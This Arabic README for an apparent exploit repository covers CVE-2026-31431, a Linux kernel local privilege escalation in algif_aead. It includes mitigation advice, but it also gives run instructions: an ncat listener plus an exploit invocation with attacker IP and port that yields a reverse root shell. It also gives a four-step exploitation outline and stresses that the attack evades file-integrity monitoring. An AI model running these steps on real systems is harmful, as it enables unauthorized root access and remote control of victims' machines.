🔴 CVE-2026-31431 — "Copy Fail"

ثغرة منطقية عمرها 9 سنوات في نواة لينكس تمنح صلاحيات الجذر في ثوانٍ

نظرة عامة

Copy Fail هي ثغرة رفع صلاحيات محلية (LPE) عالية الخطورة في النظام الفرعي للتشفير في نواة لينكس (algif_aead). تم اكتشافها والإفصاح عنها بواسطة Theori (عبر أداة أبحاث الثغرات المدعومة بالذكاء الاصطناعي Xint Code) في 29 أبريل 2026. تسمح هذه الثغرة لأي مستخدم محلي غير مميز بكتابة 4 بايتات مُتحكم بها في ذاكرة التخزين المؤقت للصفحات (page cache) لأي ملف قابل للقراءة — واستغلال ذلك للحصول على صلاحيات الجذر على جميع توزيعات لينكس الرئيسية تقريبًا التي صدرت منذ 2017.

استغلال إثبات المفهوم العامل يبلغ حجمه ~732 بايت فقط من بايثون.

الاستغلال

1. تشغيل مستمع Ncat

sudo ncat -lvnp PORT

2. تنفيذ الاستغلال على الجهاز المستهدف

# باستخدام سكربت بايثون
python3 CVE-2026-31431-Exploit.py IP PORT

# ثنائي مُجمّع
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 الملخص الفني

كيف يعمل الاستغلال (4 خطوات)

1. فتح مقبس AF_ALG وربطه بـ authencesn(hmac(sha256),cbc(aes))
2. لصق (Splice) صفحات ثنائي setuid قابل للقراءة في المقبس
3. كتابة AEAD المؤقتة للنواة تستبدل 4 بايتات في ذاكرة التخزين المؤقت لذلك الثنائي
4. تنفيذ ثنائي setuid المُفسد الآن ← قشرة جذر

لماذا هي خطيرة

• لا نافذة سباق — حتمية، تعمل في كل مرة
• لا حاجة لإزاحة النواة / تجاوز KASLR
• نفس الاستغلال يعمل عبر التوزيعات — Ubuntu، RHEL، Amazon Linux، SUSE، Rocky، وغيرها
• الهروب من الحاويات — ذاكرة التخزين المؤقت للصفحات مشتركة؛ الكتابة من داخل حاوية تؤثر على المضيف
• لا تعديل على القرص — أدوات مراقبة سلامة الملفات (AIDE، OSSEC، إلخ) لن تكتشفها
• لا أثر جنائي على القرص

🎯 الإصدارات المتأثرة

التوزيعات المؤكدة كمتأثرة

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

بشكل أساسي، جميع توزيعات لينكس الرئيسية الصادرة منذ 2017 متأثرة.

🛡️ التخفيف

1. التصحيح (موصى به)

قم بتحديث نواتك إلى إصدار يحتوي على commit الإصلاح fafe0fa2995a. معظم التوزيعات الرئيسية أصدرت أو تصدر حزم نواة محدّثة.

2. حلول مؤقتة

إذا لم تتمكن من التصحيح فورًا:

• حظر إنشاء مقبس AF_ALG عبر سياسة seccomp
• حظر وحدة algif_aead النمطية:
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ إخلاء مسؤولية

هذا المستودع لأغراض تعليمية ودفاعية فقط. المعلومات الواردة هنا تهدف إلى مساعدة فرق الأمن على فهم واكتشاف وتخفيف CVE-2026-31431. التزم دائمًا بممارسات الإفصاح المسؤول والقوانين المعمول بها.

⭐ قم بتمييز هذا المستودع بنجمة للبقاء على اطلاع على التصحيحات وإرشادات الكشف.